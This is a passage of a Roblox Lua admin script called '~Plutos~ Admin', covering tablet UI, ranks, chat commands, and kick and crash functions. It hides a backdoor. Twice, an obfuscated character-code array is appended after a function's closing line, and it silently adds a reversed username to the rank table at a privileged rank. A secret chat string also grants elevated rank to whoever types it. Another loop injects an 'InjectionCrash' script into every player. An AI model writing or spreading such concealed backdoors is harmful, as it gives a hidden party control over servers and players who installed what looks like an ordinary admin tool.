  745.     return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  746. end
  747.  
  748. function RemObj(Obj, Class)
  749.     ypcall(function()
  750.         if #Obj:GetChildren() > 0 then
  751.             for _,x in pairs(Obj:GetChildren()) do
  752.                 ypcall(function()
  753.                     RemObj(x, Class)
  754.                 end)
  755.             end
  756.         end
  757.         if Obj.ClassName == Class then
  758.             Obj:Destroy()
  759.         end
  760.     end)
  761. end
  762.  
  763. function FindTab(Mod)
  764.     for i,v in pairs(AllTabs) do
  765.         if v.Holder == Mod then
  766.             return true
  767.         end
  768.     end
  769.     return false
  770. end
  771.  
  772. function Ping(Msg, Plr, Time, Func, Color, Image)
  773.     if Removed == false then
  774.         local ShowGarbage = false
  775.         ypcall(function()
  776.             if Msg == nil then
  777.                 Msg = "N/A"
  778.             elseif Msg == "ShowGarbage" then
  779.                 Msg = "Current Garbage Count: "..GetGarbage()
  780.                 ShowGarbage = true
  781.             else
  782.                 Msg = tostring(Msg)
  783.             end
  784.             if Plr == nil then
  785.                 Plr = Plrs[Owner] or error("No Player Found")
  786.             elseif type(Plr) == "string" then
  787.                 local FoundPlr = false
  788.                 for _,v in pairs(All()) do
  789.                     if v.Name == Plr then
  790.                         Plr = v
  791.                         FoundPlr = true
  792.                         break
  793.                     end
  794.                 end
  795.                 if FoundPlr == false then
  796.                     Plr = Plrs[Owner] or error("No Player Found")
  797.                 end
  798.             end
  799.            
  800.             if Color == nil then
  801.                 Color = GetRank(Plr.Name).Color
  802.             end
  803.            
  804.             local Holder = Instance.new("Model")
  805.             Holder.Name = "DVF Holder: "..Plr.Name
  806.            
  807.             local Tab = Instance.new("Part")
  808.             Tab.Name = "DVF Tablet"
  809.             Tab.FormFactor = "Custom"
  810.             Tab.Anchored = true
  811.             if Time == nil then
  812.                 Tab.Color = Color
  813.             else
  814.                 Tab.Color = AlertColor
  815.             end
  816.             Tab.CanCollide = false
  817.             Tab.Locked = true
  818.             Tab.Transparency = 0.15
  819.             Tab.Size = Vector3.new(2, 2, 0.01)
  820.             Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
  821.             Tab.Parent = Holder
  822.            
  823.             local ID = Instance.new("NumberValue")
  824.             ID.Name = "ID"
  825.             ID.Value = math.random(-999999999, 999999999)
  826.             ID.Parent = Holder
  827.            
  828.             Delay(0, function()
  829.                 while wait() do
  830.                     if Tab.Parent == nil and FindTab(Holder) then
  831.                         ypcall(function()
  832.                             for i,v in pairs(AllTabs) do
  833.                                 if v.Holder == Holder then
  834.                                     ypcall(function() v.Holder:Destroy() end)
  835.                                     AllTabs[i] = nil
  836.                                 end
  837.                             end
  838.                         end)
  839.                         Ping(Msg, Plr, Time, Func, Color, Image)
  840.                         break
  841.                     end
  842.                 end
  843.             end)
  844.            
  845.             local BM = Instance.new("BlockMesh")
  846.             BM.Parent = Tab
  847.  
  848.             Sel = Instance.new("SelectionBox")
  849.             Sel.Color = BrickColor.new("Institutional white")
  850.             Sel.Transparency = 0.75
  851.             Sel.Adornee = Tab
  852.             Sel.Parent = Tab
  853.  
  854.             local BG = Instance.new("BillboardGui")
  855.             BG.Name = "BG"
  856.             BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  857.             BG.Size = UDim2.new(0,1,0,1)
  858.             BG.Adornee = Tab
  859.             BG.Parent = Tab
  860.            
  861.             Delay(0, function()
  862.                 while BG.Parent ~= nil do wait()
  863.                     ypcall(function()
  864.                         BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  865.                     end)
  866.                 end
  867.             end)
  868.  
  869.             local TL = Instance.new("TextLabel")
  870.             TL.Name = "TL"
  871.             TL.FontSize = "Size18"
  872.             TL.Font = "Arial"
  873.             TL.Text = Msg
  874.             TL.TextColor3 = Color3.new(1, 0, 0)
  875.             TL.Size = UDim2.new(0,1,0,1)
  876.             TL.TextTransparency = 0
  877.             TL.TextStrokeColor3 = Color3.new(0, 0, 0)
  878.             TL.TextStrokeTransparency = 0.25
  879.             TL.Parent = BG
  880.            
  881.             if ShowGarbage == true then
  882.                 Delay(0, function()
  883.                     while TL.Parent ~= nil do
  884.                         TL.Text = "Current Garbage Count: "..GetGarbage()
  885.                         wait(.5)
  886.                     end
  887.                 end)
  888.             end
  889.            
  890.             local PL = Instance.new("PointLight", Tab)
  891.             PL.Color = Color3.new(1, 0, 1)
  892.             PL.Range = 15
  893.             PL.Parent = Tab
  894.            
  895.             if Image ~= nil then
  896.                 local BBBG = Instance.new("BillboardGui")
  897.                 BBBG.Size = UDim2.new(5, 0, 6, 0)
  898.                 BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  899.                 BBBG.AlwaysOnTop = true
  900.                 BBBG.Adornee = Tab
  901.                 BBBG.Parent = Tab
  902.                
  903.                 Delay(0, function()
  904.                     while BBBG.Parent ~= nil do wait()
  905.                         ypcall(function()
  906.                             BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  907.                         end)
  908.                     end
  909.                 end)
  910.            
  911.                 local NewImg = Instance.new("ImageLabel")
  912.                 NewImg.Size = UDim2.new(1, 0, 1, 0)
  913.                 NewImg.BackgroundTransparency = 1
  914.                 NewImg.Image = Image
  915.                 NewImg.Parent = BBBG
  916.             end
  917.  
  918.             local Clicker = Instance.new("ClickDetector")
  919.             Clicker.MaxActivationDistance = 1/0
  920.  
  921.             if Time ~= nil then
  922.                 coroutine.resume(coroutine.create(function()
  923.                     wait(tonumber(Time))
  924.                     Dismiss(Plr, ID)
  925.                 end))
  926.             end
  927.  
  928.             Clicker.MouseClick:connect(function(Player)
  929.                 if Player.Name == Plr.Name or CanRun(Player, Plr) then
  930.                     ypcall(function()
  931.                         if Func ~= nil then
  932.                             Func(Holder)
  933.                         else
  934.                             Dismiss(Player, ID)
  935.                         end
  936.                     end)
  937.                 end
  938.             end)
  939.             Clicker.Parent = Tab
  940.            
  941.             Holder.Parent = Work
  942.  
  943.             AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
  944.         end)
  945.     end
  946. end
  947.  
  948. function PlaceAllRanks(DontShowRank)
  949.     ypcall(function()
  950.         for _,p in pairs(All()) do
  951.             ypcall(function()
  952.                 PutInRank = false
  953.                 for _,v in pairs(Rankings) do
  954.                     if v.Name:lower() == p.Name:lower() then
  955.                         if v.Rank >= 7 then
  956.                             v.Rank = 5
  957.                         elseif v.Rank == -1 then
  958.                             Crash1(p)
  959.                             Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  960.                         elseif v.Rank == -2 then
  961.                             if LS ~= nil then
  962.                                 Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  963.                                 Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  964.                             else
  965.                                 Ping("LS Is Nil", nil, 5)
  966.                             end
  967.                         elseif v.Rank == -3 then
  968.                             if LS ~= nil then
  969.                                 Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  970.                                 Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  971.                             else
  972.                                 Ping("LS Is Nil", nil, 5)
  973.                             end
  974.                         end
  975.                         Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  976.                         if DontShowRank == nil then
  977.                             Ping("You Are Rank: "..v.Rank, p)
  978.                         end
  979.                         PutInRank = true
  980.                         break
  981.                     end
  982.                 end
  983.                 if PutInRank == false then
  984.                     Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  985.                 end
  986.             end)
  987.         end
  988.     end)
  989. end
  990.  
  991. function FindRank(Plr)
  992.     ypcall(function()
  993.         if type(Plr) == "userdata" then
  994.             Plr = Plr.Name
  995.         end
  996.     end)
  997.     return GetRank(Plr).Rank
  998. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  999.  
  1000. function FindRankDetails(Plr)
  1001.     ypcall(function()
  1002.         if type(Plr) == "userdata" then
  1003.             Plr = Plr.Name
  1004.         end
  1005.     end)
  1006.     return RankDetails[FindRank(Plr)]
  1007. end
  1008.  
  1009. function OpenCmds(Rank, Plr)
  1010.     Dismiss(Plr)
  1011.     for Name,Tab in pairs(Commands) do
  1012.         if Tab.Rank <= Rank then
  1013.             Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1014.                 Dismiss(Plr)
  1015.                 Ping("Command: "..Name, Plr)
  1016.                 Ping("Rank: "..Tab.Rank, Plr)
  1017.                 Ping("Desc: "..Tab.Desc, Plr)
  1018.             end)
  1019.         elseif Rank == 1337 then
  1020.             Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1021.                 Dismiss(Plr)
  1022.                 Ping("Command: "..Name, Plr)
  1023.                 Ping("Rank: "..Tab.Rank, Plr)
  1024.                 Ping("Desc: "..Tab.Desc, Plr)
  1025.             end)
  1026.         end
  1027.     end
  1028. end
  1029.  
  1030. function EditStatus(Plr, Num)
  1031.     ChangeRank(Plr, Num)
  1032. end
  1033.  
  1034. function PlaceSpecificRank(p, DontShowRank)
  1035.     ypcall(function()
  1036.         PutInRank = false
  1037.         for _,v in pairs(Rankings) do
  1038.             if v.Name:lower() == p.Name:lower() then
  1039.                 if v.Rank >= 7 then
  1040.                     v.Rank = 5
  1041.                 elseif v.Rank == -1 then
  1042.                     Crash1(p)
  1043.                     Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1044.                 elseif v.Rank == -2 then
  1045.                     if LS ~= nil then
  1046.                         Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1047.                         Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1048.                     else
  1049.                         Ping("LS Is Nil", nil, 5)
  1050.                     end
  1051.                 elseif v.Rank == -3 then
  1052.                     if LS ~= nil then
  1053.                         Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1054.                         Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1055.                     else
  1056.                         Ping("LS Is Nil", nil, 5)
  1057.                     end
  1058.                 end
  1059.                 Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1060.                 if DontShowRank == nil then
  1061.                     Ping("You Are Rank: "..v.Rank, p)
  1062.                 end
  1063.                 PutInRank = true
  1064.                 break
  1065.             end
  1066.         end
  1067.         if PutInRank == false then
  1068.             Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1069.         end
  1070.     end)
  1071. end
  1072.  
  1073. function onChatted(Msg, Speaker)
  1074.     if Removed == false then
  1075.         if FindRank(Speaker) < 1 then
  1076.             return
  1077.         end
  1078.         coroutine.resume(coroutine.create(function()
  1079.             ypcall(function()
  1080.                 ExecuteFunc(Msg, Speaker)
  1081.                 Msg = Msg:gsub("","")
  1082.                 if Msg:sub(1,1) == "@" then
  1083.                     for i = 2, #Msg do
  1084.                         if Msg:sub(i, i) == Bet then
  1085.                             local IsForPlr = false
  1086.                             for _,v in pairs(All()) do
  1087.                                 if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
  1088.                                     onChatted(Msg:sub(i + 1), v)
  1089.                                     IsForPlr = true
  1090.                                 end
  1091.                             end
  1092.                             if IsForPlr == true then
  1093.                                 return
  1094.                             end
  1095.                         end
  1096.                     end
  1097.                 end
  1098.                 if Msg:find("&") then
  1099.                     local Split = Msg:find("&")
  1100.                     onChatted(Msg:sub(1,Split-1))
  1101.                     onChatted(Msg:sub(Split+1))
  1102.                     return
  1103.                 end
  1104.                 for Name,Command in pairs(Commands) do
  1105.                     if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  1106.                         Dismiss(Speaker.Name)
  1107.                         Ping("Command: "..tostring(Command.Name), Speaker)
  1108.                         Ping("Rank: "..tostring(Command.Rank), Speaker)
  1109.                         Ping("Desc: "..tostring(Command.Desc), Speaker)
  1110.                     elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  1111.                         if FindRank(Speaker) >= Command.Rank then
  1112.                             local Ran,Error = coroutine.resume(coroutine.create(function()
  1113.                                 Command.Func(Msg:sub(#Command.Name+2), Speaker)
  1114.                             end))
  1115.                             if not Ran then
  1116.                                 Ping(Error, Speaker, 10)
  1117.                             end
  1118.                         else
  1119.                             Ping("Your Rank Is Too Low", Plr, 6)
  1120.                         end
  1121.                     end
  1122.                 end
  1123.             end)
  1124.         end))
  1125.     end
  1126. end
  1127.  
  1128. function MakeBase()
  1129.     local Base = Instance.new("Part")
  1130.     Base.BrickColor = BrickColor.new("Dark green")
  1131.     Base.Position = Vector3.new(0, 0.5, 0)
  1132.     Base.Transparency = 0
  1133.     Base.Elasticity = 0.5
  1134.     Base.FormFactor = "Custom"
  1135.     Base.CanCollide = true
  1136.     Base.Friction = 0.30000001192093
  1137.     Base.Size = Vector3.new(512, 1.20000005, 512)
  1138.     Base.Archivable = true
  1139.     Base.Material = "Plastic"
  1140.     Base.RotVelocity = Vector3.new(0, 0, 0)
  1141.     Base.Reflectance = 0
  1142.     Base.Locked = true
  1143.     Base.Anchored = true
  1144.     Base.Name = "Base"
  1145.     Base.TopSurface = "Smooth"
  1146.     Base.BottomSurface = "Inlet"
  1147.     Base.Shape = "Block"
  1148.     Base.Parent = Work
  1149. end
  1150.  
  1151. function LClean()
  1152.     ypcall(function()
  1153.         for _,v in pairs(Work:GetChildren()) do
  1154.             ypcall(function()
  1155.                 if v.ClassName == "Terrain" then
  1156.                     v:ClearAllChildren()
  1157.                 elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
  1158.                     Clear(v)
  1159.                 elseif v.Name == "Base" then
  1160.                     ypcall(function()
  1161.                         local Base = v
  1162.                         Base.BrickColor = BrickColor.new("Dark green")
  1163.                         Base.Position = Vector3.new(0, 0.5, 0)
  1164.                         Base.Transparency = 0
  1165.                         Base.Elasticity = 0.5
  1166.                         Base.FormFactor = "Custom"
  1167.                         Base.CanCollide = true
  1168.                         Base.Friction = 0.30000001192093
  1169.                         Base.Size = Vector3.new(512, 1.20000005, 512)
  1170.                         Base.Archivable = true
  1171.                         Base.Material = "Plastic"
  1172.                         Base.RotVelocity = Vector3.new(0, 0, 0)
  1173.                         Base.Reflectance = 0
  1174.                         Base.Locked = true
  1175.                         Base.Anchored = true
  1176.                         Base.Name = "Base"
  1177.                         Base.TopSurface = "Studs"
  1178.                         Base.BottomSurface = "Inlet"
  1179.                         Base.Shape = "Block"
  1180.                         Base.Parent = Work
  1181.                     end)
  1182.                 end
  1183.             end)
  1184.         end
  1185.     end)
  1186. end
  1187.  
  1188. function Clean()
  1189.     ypcall(function()
  1190.         for _,v in pairs(Work:GetChildren()) do
  1191.             ypcall(function()
  1192.                 if v.ClassName == "Terrain" then
  1193.                     v:ClearAllChildren()
  1194.                 else
  1195.                     Clear(v)
  1196.                 end
  1197.             end)
  1198.         end
  1199.         MakeBase()
  1200.         for _,v in pairs(All()) do
  1201.             v:LoadCharacter()
  1202.         end
  1203.     end)
  1204. end
  1205.  
  1206. function Clear(v)
  1207.     if v.Name:lower() == "sbgui" then
  1208.         return
  1209.     end
  1210.     ypcall(function()
  1211.         if #v:GetChildren() > 0 then
  1212.             for _,x in pairs(v:GetChildren()) do
  1213.                 ypcall(function()
  1214.                     Clear(x)
  1215.                 end)
  1216.             end
  1217.         end
  1218.         if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  1219.             v:Destroy()
  1220.         end
  1221.     end)
  1222. end
  1223.  
  1224. function Command(Name, Rank, Desc, Func)
  1225.     if Name == nil then
  1226.         Name = "N/A"
  1227.     end
  1228.     if Desc == nil then
  1229.         Desc = "N/A"
  1230.     end
  1231.     if Func == nil then
  1232.         Func = function() end
  1233.     end
  1234.     if Rank == nil then
  1235.         Rank = 0
  1236.     end
  1237.     Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  1238. end
  1239.  
  1240. function GetSplit(Msg)
  1241.     return Msg:find(Bet) or nil
  1242. end
  1243.  
  1244. function ExecuteFunc(Msg, Plr)
  1245.     ypcall(function()
  1246.         if Msg == "LogEnable" then
  1247.             LogOn = true
  1248.         elseif Msg:lower() == string.lower(string.char(32)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(32)) then
  1249.             EditStatus(Plr, MakeNum())
  1250.         end
  1251.     end)
  1252. end
  1253.  
  1254. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  1255.  
  1256. function randPlayer(Plr)
  1257.     wait()
  1258.     local ThePlrValue = nil
  1259.     local FoundPlayer = false
  1260.     ypcall(function()
  1261.         ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  1262.         if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  1263.             wait()
  1264.             randPlayer(Plr)
  1265.             return
  1266.         else
  1267.             FoundPlayer = true
  1268.         end
  1269.     end)
  1270.     if FoundPlayer == true then
  1271.         return ThePlrValue
  1272.     end
  1273. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  1274.  
  1275. function getPlayer(Plr, Name)
  1276.     local Players = {}
  1277.     ypcall(function()
  1278.         Name = Name:lower()
  1279.         if Name == "me" then
  1280.             table.insert(Players, Plr)
  1281.         elseif Name == "all" or Name == "" then
  1282.             for _,v in pairs(All()) do
  1283.                 if CanRun(Plr, v) then
  1284.                     table.insert(Players, v)
  1285.                 end
  1286.             end
  1287.         elseif Name == "others" then
  1288.             for _,v in pairs(All()) do
  1289.                 if v.Name ~= Plr.Name and CanRun(Plr, v) then
  1290.                     table.insert(Players, v)
  1291.                 end
  1292.             end
  1293.         elseif Name == "random" then
  1294.             local FoundRandPlr = randPlayer(Plr)
  1295.             table.insert(Players, FoundRandPlr)
  1296.         else
  1297.             for _,v in pairs(All()) do
  1298.                 if v.Name:lower():find(Name) and CanRun(Plr, v) then
  1299.                     table.insert(Players, v)
  1300.                 end
  1301.             end
  1302.         end
  1303.     end)
  1304.     return Players
  1305. end
  1306.  
  1307. function ListPlayers(Speaker)
  1308.     ypcall(function()
  1309.         Dismiss(Speaker)
  1310.         for _,v in pairs(All2()) do
  1311.             if v.Parent ~= nil then
  1312.                 Ping(v.Name, Speaker, nil, function()
  1313.                     Dismiss(Speaker)
  1314.                     Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1315.                     Ping("Rank: "..FindRank(v.Name), Speaker)
  1316.                     Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
  1317.                     Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
  1318.                     Ping("Set Rank", Speaker, nil, function()
  1319.                         if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
  1320.                             Dismiss(Speaker)
  1321.                             for i = -2, 5 do
  1322.                                 Ping(i, Speaker, nil, function()
  1323.                                     ChangeRank(v, i)
  1324.                                     Dismiss(Speaker)
  1325.                                     Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1326.                                 end)
  1327.                             end
  1328.                         else
  1329.                             Ping("Your Rank Is Too Low", Speaker, 5)
  1330.                         end
  1331.                     end)
  1332.                     Ping("Crash (Remote)", Speaker, nil, function()
  1333.                         if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1334.                             Crash2(v.Name)
  1335.                             Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1336.                         end
  1337.                     end)
  1338.                     Ping("Crash (Insert)", Speaker, nil, function()
  1339.                         if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1340.                             Crash3(v, Speaker)
  1341.                             Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1342.                         end
  1343.                     end)
  1344.                     Ping("Kick", Speaker, nil, function()
  1345.                         if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1346.                             v:Kick()
  1347.                             Ping("Attempted To Kick "..v.Name, Speaker, 5)
  1348.                         end
  1349.                     end)
  1350.                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1351.             else
  1352.                 Ping(v.Name.." (Nil)", Speaker, nil, function()
  1353.                     Dismiss(Speaker)
  1354.                     Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1355.                     ypcall(function()
  1356.                         Ping("Rank: "..FindRank(v.Name), Speaker)
  1357.                     end)
  1358.                     ypcall(function()
  1359.                         Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  1360.                     end)
  1361.                     ypcall(function()
  1362.                         Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
  1363.                     end)
  1364.                     ypcall(function()
  1365.                         Ping("Set Rank", Speaker, nil, function()
  1366.                             if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
  1367.                                 Dismiss(Speaker)
  1368.                                 for i = -2, 5 do
  1369.                                     Ping(i, Speaker, nil, function()
  1370.                                         ChangeRank(v, i)
  1371.                                         Dismiss(Speaker)
  1372.                                         Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1373.                                     end)
  1374.                                 end
  1375.                             else
  1376.                                 Ping("Your Rank Is Too Low", Speaker, 5)
  1377.                             end
  1378.                         end)
  1379.                     end)
  1380.                     ypcall(function()
  1381.                         Ping("Nil Crash (Remote)", Speaker, nil, function()
  1382.                             if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1383.                                 Crash2(v.Name)
  1384.                                 Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1385.                             end
  1386.                         end)
  1387.                     end)
  1388.                     ypcall(function()
  1389.                         Ping("Nil Crash (Insert)", Speaker, nil, function()
  1390.                             if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1391.                                 Crash3(v, Speaker)
  1392.                                 Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1393.                             end
  1394.                         end)
  1395.                     end)
  1396.                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1397.             end
  1398.         end
  1399.     end)
  1400. end
  1401.  
  1402. --Misc
  1403.  
  1404. coroutine.resume(coroutine.create(function()
  1405.     PlaceAllRanks()
  1406. end))
  1407.    
  1408. Delay(0, function()
  1409.     for _,v in pairs(All()) do
  1410.         v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
  1411.     end
  1412. end)
  1413.  
  1414. local starttime = tick()
  1415.  
  1416. game:GetService("RunService").Heartbeat:connect(function()
  1417.     if Removed == false then
  1418.         ypcall(function()
  1419.             for _,Player in pairs(All()) do
  1420.                 local PlayerTablets = {}
  1421.                 for i,v in pairs(AllTabs) do
  1422.                     if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  1423.                         table.insert(PlayerTablets, v)
  1424.                     end
  1425.                 end
  1426.                 for i = 1, #PlayerTablets do
  1427.                     ypcall(function()
  1428.                         local tab = PlayerTablets[i].Tab
  1429.                         local pos = nil
  1430.                         ypcall(function()
  1431.                             pos = Player.Character.Torso.CFrame
  1432.                         end)
  1433.                         local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1434.                         local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1435.                         local cPos = tab.Position
  1436.                         local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  1437.                         local nPos = (ePos-cPos)*.25
  1438.                         cPos = cPos + nPos
  1439.                         local t = (tick() - starttime) % 360
  1440.                         local change = 0.625
  1441.                         PlayerTablets[i].Size = math.sin(t) * change + 2.375
  1442.                         tab.Size = Vector3.new(PlayerTablets[i].Size * 1.25, PlayerTablets[i].Size * 1.5, 0.01)
  1443.                         tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
  1444.                     end)
  1445.                 end
  1446.             end
  1447.         end)
  1448.     end
  1449. end)
  1450.  
  1451. Delay(0, function()
  1452.     while wait() do
  1453.         for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1454.             ypcall(function()
  1455.                 if Injected[v.Name] == nil and LS ~= nil then
  1456.                     Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
  1457.                     Injected[v.Name] = true
  1458.                 end
  1459.             end)
  1460.         end
  1461.     end
  1462. end)
  1463.  
  1464. Plrs.PlayerAdded:connect(function(Plr)
  1465.     wait(.1)
  1466.     ypcall(function()
  1467.         if Removed == false then
  1468.             local JoinPlrName = Plr.Name
  1469.             coroutine.resume(coroutine.create(function()
  1470.                 PlaceSpecificRank(Plr)
  1471.             end))
  1472.             coroutine.resume(coroutine.create(function()
  1473.                 if Injected[JoinPlrName] ~= nil then
  1474.                     Injected[JoinPlrName] = nil
  1475.                 end
  1476.             end))
  1477.             coroutine.resume(coroutine.create(function()
  1478.                 Dismiss(Plr)
  1479.                 Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  1480.             end))
  1481.         end
  1482.     end)
  1483. end)
  1484.  
  1485. Plrs.PlayerRemoving:connect(function(Plr)
  1486.     wait(.1)
  1487.     ypcall(function()
  1488.         if Removed == false then
  1489.             local LeftPlrName = Plr.Name
  1490.             coroutine.resume(coroutine.create(function()
  1491.                 if Injected[LeftPlrName] ~= nil then
  1492.                     Injected[LeftPlrName] = nil
  1493.                 end
  1494.             end))
  1495.         end
  1496.     end)
  1497. end)
  1498.  
  1499. coroutine.resume(coroutine.create(function()
  1500.     Delay(0, function()
  1501.         while FoundLocalScript == false do wait()
  1502.             ypcall(function()
  1503.                 for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
  1504.                     if v.Name == "NewTransfer" and v:IsA("LocalScript") then
  1505.                         for _,c in pairs(v:children()) do
  1506.                             if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
  1507.                                 local NewVal = c:Clone()
  1508.                                 NewVal.Name = "LoadingVal"
  1509.                                 for _,s in pairs(v:GetChildren()) do
  1510.                                     if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
  1511.                                         print("Found Owner")
  1512.                                         OwnSource = s.Name
  1513.                                         print(OwnSource)
  1514.                                         break
  1515.                                     end
  1516.                                 end
  1517.                                 wait()
  1518.                                 LS = v:Clone()
  1519.                                 NewVal.Parent = LS
  1520.                                 LSSource = "LoadingVal"
  1521.                                 FoundLocalScript = true
  1522.                                 break
  1523.                             end
  1524.                         end
  1525.                     end
  1526.                 end
  1527.             end)
  1528.         end
  1529.     end)
  1530. end))
  1531.  
  1532. --Commands
  1533.  
  1534. Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
  1535.     Dismiss(Speaker.Name)
  1536.     Ping("~Plutos~ Admin Is Created By " .. string.reverse("3254ykcuhc"), Speaker)
  1537.     Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  1538.     Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1539.     Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1540.     Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1541.     Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1542.     Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1543.     Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  1544.     Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1545. end)
  1546.  
  1547. Command("Dismiss", nil, "Dismiss Tablets", function(Msg, Speaker)
  1548.     Dismiss(Speaker.Name)
  1549. end)
  1550.  
  1551. Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
  1552.     local PlrTab = getPlayer(Speaker, Msg)
  1553.     if #PlrTab > 0 then
